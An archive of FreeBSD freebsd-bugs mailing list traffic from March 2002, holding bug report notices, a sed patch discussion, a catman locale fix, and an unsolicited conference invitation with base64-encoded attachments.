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9 --X2iM6035d0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 0:12:47 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id C3A8437B402; Tue, 5 Mar 2002 00:12:44 -0800 (PST) Received: (from keramida@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2582rq61207; Tue, 5 Mar 2002 00:02:53 -0800 (PST) (envelope-from keramida) Date: Tue, 5 Mar 2002 00:02:53 -0800 (PST) From: Message-Id: <200203050802.g2582rq61207@freefall.freebsd.org> To: keramida@FreeBSD.org, gnats-admin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35307: standard include files are not standard compliant Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Old Synopsis: New Synopsis: standard include files are not standard compliant Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: keramida Responsible-Changed-When: Mon Mar 4 23:59:20 PST 2002 Responsible-Changed-Why: Misfiled PR. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35307 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 0:40:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9819E37B416 for ; Tue, 5 Mar 2002 00:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g258e1W70607; Tue, 5 Mar 2002 00:40:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 6332037B417 for ; Tue, 5 Mar 2002 00:32:25 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g258WPr69336; Tue, 5 Mar 2002 00:32:25 -0800 (PST) (envelope-from nobody) Message-Id: <200203050832.g258WPr69336@freefall.freebsd.org> Date: Tue, 5 Mar 2002 00:32:25 -0800 (PST) From: George Dew To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: misc/35552: From Outlook Client to Sendmail: "A timeout occurred while communicating with the server" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35552 >Category: misc >Synopsis: From Outlook Client to Sendmail: "A timeout occurred while communicating with the server" >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 00:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: George Dew >Release: 4.4 >Organization: Response Networking >Environment: Outlook on Windows 98 machine connecting to Sendmail on the BSD server. >Description: The problem arises from a Windows client trying to Send/receive mail from Sendmail running on the BSD server. It was working fine and suddenly stopped one day. Nothing was reconfigured. I'm also running SMB on the server, but SMB has been extremely stable. Please help! >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 1: 4:38 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from draco.over-yonder.net (draco.over-yonder.net [198.78.58.61]) by hub.freebsd.org (Postfix) with ESMTP id E736637B419 for ; Tue, 5 Mar 2002 01:04:35 -0800 (PST) Received: by draco.over-yonder.net (Postfix, from userid 100) id 4AA61FC2; Tue, 5 Mar 2002 03:04:35 -0600 (CST) Date: Tue, 5 Mar 2002 03:04:35 -0600 From: "Matthew D. Fuller" To: Bruce Evans Cc: Peter Pentchev , freebsd-bugs@FreeBSD.ORG Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Message-ID: <20020305030435.F3880@over-yonder.net> References: <200203031910.g23JA1u35963@freefall.freebsd.org> <20020305011227.E1276-100000@gamplex.bde.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5-fullermd.1i In-Reply-To: <20020305011227.E1276-100000@gamplex.bde.org>; from bde@zeta.org.au on Tue, Mar 05, 2002 at 01:24:19AM +1100 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, Mar 05, 2002 at 01:24:19AM +1100 I heard the voice of Bruce Evans, and lo! it spake thus: > > The functionality is already provided in a better way by the -E flag. > I agree with the gnu standard which says: > > ! Please don't make the behavior of a utility depend on the name used to > ! invoke it. It is useful sometimes to make a link to a utility with a > ! different name, and that should not change what it does. I find that especially humerous, given that GNU {e,f,z}grep was what inspired me to write the patch in the first place... I think it'd be useful, and it nicely matches grep (doubly nice since grep and sed are the two main command-line-based apps that are based around regexps) for a good touch of consistency. OTOH, if nobody else likes it, I don't feel THAT strongly about it. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Unix Systems Administrator | fullermd@futuresouth.com Specializing in FreeBSD | http://www.over-yonder.net/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 2:22:46 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1679E37B400; Tue, 5 Mar 2002 02:22:45 -0800 (PST) Received: (from maxim@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25ADbK93533; Tue, 5 Mar 2002 02:13:37 -0800 (PST) (envelope-from maxim) Date: Tue, 5 Mar 2002 02:13:37 -0800 (PST) From: Message-Id: <200203051013.g25ADbK93533@freefall.freebsd.org> To: moore@bricoworks.com, maxim@FreeBSD.org, freebsd-bugs@FreeBSD.org, maxim@FreeBSD.org Subject: Re: kern/12281: active-filter option in pppd doesn't stop reset of idle timer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: active-filter option in pppd doesn't stop reset of idle timer State-Changed-From-To: feedback->analyzed State-Changed-By: maxim State-Changed-When: Tue Mar 5 02:12:14 PST 2002 State-Changed-Why: I will MFC the fix in one week. Responsible-Changed-From-To: freebsd-bugs->maxim Responsible-Changed-By: maxim Responsible-Changed-When: Tue Mar 5 02:12:14 PST 2002 Responsible-Changed-Why: I fixed the bug in -current and will MFC a fix later. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=12281 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 3:50: 6 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 8D96C37B416 for ; Tue, 5 Mar 2002 03:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25Bo1q10823; Tue, 5 Mar 2002 03:50:01 -0800 (PST) (envelope-from gnats) Received: from srv1.2blc.com (srv1.2blc.com [217.174.202.129]) by hub.freebsd.org (Postfix) with ESMTP id 99ED137B402 for ; Tue, 5 Mar 2002 03:41:01 -0800 (PST) Received: by srv1.2blc.com (Postfix, from userid 0) id D77CE3A9E60; Tue, 5 Mar 2002 12:43:21 +0100 (CET) Message-Id: <20020305114321.D77CE3A9E60@srv1.2blc.com> Date: Tue, 5 Mar 2002 12:43:21 +0100 (CET) From: "cgross@2blc.com" Reply-To: "cgross@2blc.com" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: misc/35557: incorrect URL in PR confirmation Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35557 >Category: misc >Synopsis: incorrect URL in PR confirmation >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 03:50:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: cedric gross >Release: FreeBSD 4.4-STABLE i386 >Organization: 2BLC >Environment: System: FreeBSD srv1.2blc.com 4.4-STABLE FreeBSD 4.4-STABLE #0: Fri Mar 30 01:55:59 CEST 2001 root@www.2blc.com:/usr/obj/usr/src/sys/INSOMNIE i386 >Description: Incorrect URL sent in PR confirmation relative to identity of the report i.e. http://www.freebsd.org/cgi/query-pr.cgi?pr=35556 instead of http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/35556 >How-To-Repeat: Submitting PR. >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 3:52:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 559F037B405; Tue, 5 Mar 2002 03:52:45 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25Bliw10402; Tue, 5 Mar 2002 03:47:44 -0800 (PST) (envelope-from dwmalone) Date: Tue, 5 Mar 2002 03:47:44 -0800 (PST) From: Message-Id: <200203051147.g25Bliw10402@freefall.freebsd.org> To: gdew@rni1.com, dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/35552: From Outlook Client to Sendmail: "A timeout occurred while communicating with the server" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: From Outlook Client to Sendmail: "A timeout occurred while communicating with the server" State-Changed-From-To: open->closed State-Changed-By: dwmalone State-Changed-When: Tue Mar 5 03:43:19 PST 2002 State-Changed-Why: This isn't really a bug report, it is more of a help request, which should be send to questions@freebsd.org. I'd suggest that you begin by checking your sendmail log file to see if you are getting connections from the windows machine. Try using telnet on the windows machine to connect to port 25 (smtp) or 110 (pop3) to check if the windows machine can connect. Try running "tcpdump host name.of.windows.machine" and watching the traffic it produces. I've recently seen Outlook XP on Windows XP claim that it can't connect to one mail server (of three listed), but it wasn't actually sending any packets to the server. Rebooting Windows seemed to fix the problem. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35552 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 4: 2:47 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 34D1C37B400; Tue, 5 Mar 2002 04:02:45 -0800 (PST) Received: (from roam@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25BsYV11635; Tue, 5 Mar 2002 03:54:34 -0800 (PST) (envelope-from roam) Date: Tue, 5 Mar 2002 03:54:34 -0800 (PST) From: Message-Id: <200203051154.g25BsYV11635@freefall.freebsd.org> To: cgross@2blc.com, roam@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/35557: incorrect URL in PR confirmation Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: incorrect URL in PR confirmation State-Changed-From-To: open->closed State-Changed-By: roam State-Changed-When: Tue Mar 5 03:53:16 PST 2002 State-Changed-Why: Uhm.. this just begs the question.. have you actually *tried* the URL without the category? In my experience of the past three years, query-pr.cgi has absolutely no trouble in finding a PR by its number only (actually, that's basically how they are stored in the index file..) http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35557 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 5:10:11 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id DACAB37B419 for ; Tue, 5 Mar 2002 05:10:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25DA4P38169; Tue, 5 Mar 2002 05:10:04 -0800 (PST) (envelope-from gnats) Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id 20B3F37B400 for ; Tue, 5 Mar 2002 05:06:30 -0800 (PST) Received: from fwd00.sul.t-online.de by mailout03.sul.t-online.com with smtp id 16iEeC-0006zt-04; Tue, 05 Mar 2002 14:06:28 +0100 Received: from pc5.abc (520067998749-0001@[217.233.108.3]) by fmrl00.sul.t-online.com with esmtp id 16iEdv-0PLnYOC; Tue, 5 Mar 2002 14:06:11 +0100 Received: (from nicolas@localhost) by pc5.abc (8.11.6/8.11.6) id g25D6A941536; Tue, 5 Mar 2002 14:06:10 +0100 (CET) (envelope-from nicolas) Message-Id: <200203051306.g25D6A941536@pc5.abc> Date: Tue, 5 Mar 2002 14:06:10 +0100 (CET) From: Nicolas Rachinsky Reply-To: Nicolas Rachinsky To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35558: periodic/weekly/330.catman does not update localized manpages Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35558 >Category: bin >Synopsis: periodic/weekly/330.catman does not update localized manpages >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 05:10:04 PST 2002 >Closed-Date: >Last-Modified: >Originator: Nicolas Rachinsky >Release: FreeBSD 4.5-RELEASE-p1 i386 >Organization: >Environment: System: FreeBSD pc5.abc 4.5-RELEASE-p1 FreeBSD 4.5-RELEASE-p1 #1: Sat Mar 2 07:40:42 CET 2002 nicolas@pc5.abc:/usr/obj/usr/src/sys/NR i386 >Description: periodic/weekly/330.catman does not build the localized manpages >How-To-Repeat: enable 330.catman and set MANLOCALES in /etc/manpath.conf >Fix: --- /usr/src/etc/periodic/weekly/330.catman Mon Mar 5 14:08:38 2001 +++ /etc/periodic/weekly/330.catman Tue Mar 5 11:51:41 2002 @@ -42,8 +42,8 @@ then for i in $man_locales do - LC_ALL=$i echo /usr/libexec/catman.local -L \ - "$MANPATH" | su -fm man || rc=3 + echo /usr/libexec/catman.local -L \ + "$MANPATH" | LC_ALL=$i su -fm man || rc=3 done fi fi >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 5:10:16 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 14D3137B416 for ; Tue, 5 Mar 2002 05:10:11 -0800 (PST) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id AAA27154; Wed, 6 Mar 2002 00:10:01 +1100 Date: Wed, 6 Mar 2002 00:10:51 +1100 (EST) From: Bruce Evans X-X-Sender: To: "Matthew D. Fuller" Cc: Peter Pentchev , Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) In-Reply-To: <20020305030435.F3880@over-yonder.net> Message-ID: <20020306000043.H4867-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 5 Mar 2002, Matthew D. Fuller wrote: > On Tue, Mar 05, 2002 at 01:24:19AM +1100 I heard the voice of > Bruce Evans, and lo! it spake thus: > > > > The functionality is already provided in a better way by the -E flag. > > I agree with the gnu standard which says: > > > > ! Please don't make the behavior of a utility depend on the name used to > > ! invoke it. It is useful sometimes to make a link to a utility with a > > ! different name, and that should not change what it does. > > I find that especially humerous, given that GNU {e,f,z}grep was what > inspired me to write the patch in the first place... GNU had to keep [ef]grep for historical reasons. GNU zgrep has to have a different name because it is a different utility (at least in the old version of it in FreeBSD) -- it is an (unused in FreeBSD) shell script in the gzip distribution. zgrep as part of grep is a FreeBSD hack, at least in the version in FreeBSD. Even if it were part of GNU egrep, it would have to have a link named zgrep for backwards compatibility. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 5:31:38 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from tomts22-srv.bellnexxia.net (tomts22.bellnexxia.net [209.226.175.184]) by hub.freebsd.org (Postfix) with ESMTP id 1083937B405 for ; Tue, 5 Mar 2002 05:29:56 -0800 (PST) Received: from yahoo.com ([64.229.184.12]) by tomts22-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20020305133037.EKKK13609.tomts22-srv.bellnexxia.net@yahoo.com> for ; Tue, 5 Mar 2002 08:30:37 -0500 Message-ID: <002c01c1c260$bf91b1d0$0cb8e540@sympatico.ca> Reply-To: "Dr Guihua Li" From: "Dr Guihua Li" To: freebsd-bugs@freebsd.org Subject: Invitation letter from the Organisation Committee of the First World Congress of Future Science and Culture Date: Sat, 2 Mar 2002 22:08:52 -0500 Organization: Organisation Committee of First World Congress of Future Science and Culture MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0028_01C1C236.D6894F30" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0028_01C1C236.D6894F30 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0029_01C1C236.D6894F30" ------=_NextPart_001_0029_01C1C236.D6894F30 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: quoted-printable Dear Sir/Madam, = =20 =20 Many of us who came to work in the sciences or similar areas did so = because we wanted to explore the unknown and gain more knowledge and = ultimately make this world a better place. It is undoubtedly true that = modern science has brought immense benefits to humanity but also = encountered many unsolved questions and problems including environmental = pollution.=20 =20 Perhaps it is now time for a different approach: Falun Dafa takes a = holistic view of life and the universe. It builds on the insights of = modern science and combines them with the insights from ancient Chinese = science and culture. We, scientists who understand Falun Dafa, invite = you to participate in the First World Congress of Future Science and = Culture that will be held at Cambridge on March 9th and 10th of 2002. = This congress will see state of the art research in this field and serve = as a forum for discussing how these new ideas could exert a profound = influence on the future science and culture of humankind. =20 Renowned specialists and professors in diverse academic disciplines from = many different parts of the world will be participating. A schedule for = March 9th is attached. On March 10 we will be holding an informal = discussion session at which participants at the conference can raise = issues with the speakers.=20 =20 We do hope that you will be able to find the time to attend. Please let = us know if you have any questions. =20 Yours sincerely, =20 =20 =20 Dr Guihua Li Organisation Committee of First World Congress of Future Science and = Culture fsc_congress@hotmail.com http://www.fsc-congress.org ------=_NextPart_001_0029_01C1C236.D6894F30 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable
Dear Sir/Madam,               &nbs= p;        =20            &nbs= p;        =20            &nbs= p; =20

 

Many=20 of us who came to work in the sciences or similar areas did so because = we wanted=20 to explore the unknown and gain more knowledge and ultimately make this = world a=20 better place.  It is = undoubtedly=20 true that modern science has brought immense benefits to humanity but = also=20 encountered many unsolved questions and problems including environmental = pollution.

 

Perhaps it is now time for a different = approach:  Falun Dafa takes a holistic = view of life=20 and the universe. It builds on the insights of modern science and = combines them=20 with the insights from ancient Chinese science and culture. We, = scientists who=20 understand Falun Dafa, invite you to participate in the First World = Congress of=20 Future Science and Culture that will be held at Cambridge on March=20 9th and 10th of 2002. This congress will see state = of the=20 art research in this field and serve as a forum for discussing how these = new=20 ideas could exert a profound influence on the future science and culture = of=20 humankind.

 

Renowned specialists and professors in diverse = academic=20 disciplines from many different parts of the world will be = participating.  A schedule for March 9th is = attached. On=20 March 10 we will be holding an informal discussion session at which = participants=20 at the conference can raise issues with the speakers.=20

 

We do hope that = you will be=20 able to find the time to attend.=20 Please let us know if you have any = questions.

 

Yours sincerely,

 

 


 

Dr Guihua Li

Organisation Committee of First World Congress = of Future=20 Science and Culture

fsc_congress@hotmail.com

http://www.fsc-congress.org

------=_NextPart_001_0029_01C1C236.D6894F30-- ------=_NextPart_000_0028_01C1C236.D6894F30 Content-Type: application/msword; name="Invitation-Peter2.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Invitation-Peter2.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAWgAAAAAAAAAA EAAAXQAAAAEAAAD+////AAAAAFkAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAWyAJBAAA+BK/AAAAAAAAEAAAAAAABAAASiMAAA4AYmpiauIA4gAAAAAAAAAAAAAAAAAAAAAA AAAJBBYAIkIAAIBqAQCAagEAwhMAAAAAAAAeAAAAAAAAAAAAAAAAAAAABQAAAGQAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAGwAAAAAANoDAAAAAAAA2gMAANoD AAAAAAAA2gMAAAAAAAAKBQAAAAAAAAoFAAAAAAAACgUAABQAAAAAAAAAAAAAAB4FAAAAAAAABhIA AAAAAAAGEgAAAAAAAAYSAAA4AAAAPhIAACQAAABiEgAAPAAAAB4FAAAAAAAAtTMAALQBAACqEgAA OgAAAOQSAAAoAAAADBMAAAAAAAAMEwAAAAAAANgTAAAAAAAAQBcAAAAAAABAFwAAAAAAAEAXAAAA AAAApDIAAAIAAACmMgAAAAAAAKYyAAAAAAAApjIAAAAAAACmMgAAAAAAAKYyAAAAAAAApjIAACQA AABpNQAAIAIAAIk3AABiAAAAyjIAAKUAAAAAAAAAAAAAAAAAAAAAAAAACgUAAAAAAABAFwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAaFwAABAAAAB4XAAAiAAAAQBcAAAAAAABAFwAAAAAAAMoyAAAAAAAA JBsAAAAAAADaAwAAAAAAANoDAAAAAAAADBMAAAAAAAAAAAAAAAAAANgTAABCAwAAbzMAABYAAAAk GwAAAAAAACQbAAAAAAAAJBsAAAAAAABAFwAA7AIAANoDAACGAAAADBMAAAAAAACWBAAAUgAAANgT AAAAAAAApDIAAAAAAAAAAAAAAAAAACQbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAQBcAAAAAAACkMgAAAAAAACQbAAAmBAAAJBsAAAAAAABKHwAA xgAAACAxAACQAAAAYAQAADYAAADoBAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2DEAAAAAAAAMEwAAzAAAAJ4SAAAMAAAAEF5I95K/ wQEeBQAA6AwAAAYSAAAAAAAALBoAAL4AAACwMQAAFAAAAAAAAAAAAAAA2DEAAMwAAACFMwAAMAAA ALUzAAAAAAAAxDEAABQAAADrNwAAAAAAAOoaAAA6AAAA6zcAAAAAAADYMQAAAAAAACQbAAAAAAAA HgUAAAAAAAAeBQAAAAAAANoDAAAAAAAA2gMAAAAAAADaAwAAAAAAANoDAAAAAAAAAgDZAAAADQ0N CQkJCQkJCQkJMjYgRmVicnVhcnkgMjAwMg0NoA1EZWFyIFNpci9NYWRhbSwgCQkJCQkJCQkJDaAN TWFueSBvZiB1cyB3aG8gY2FtZSB0byB3b3JrIGluIHRoZSBzY2llbmNlcyBvciBzaW1pbGFyIGFy ZWFzIGRpZCBzbyBiZWNhdXNlIHdlIHdhbnRlZCB0byBleHBsb3JlIHRoZSB1bmtub3duIGFuZCBn YWluIG1vcmUga25vd2xlZGdlIGFuZCB1bHRpbWF0ZWx5IG1ha2UgdGhpcyB3b3JsZCBhIGJldHRl ciBwbGFjZS4gIEl0IGlzIHVuZG91YnRlZGx5IHRydWUgdGhhdCBtb2Rlcm4gc2NpZW5jZSBoYXMg 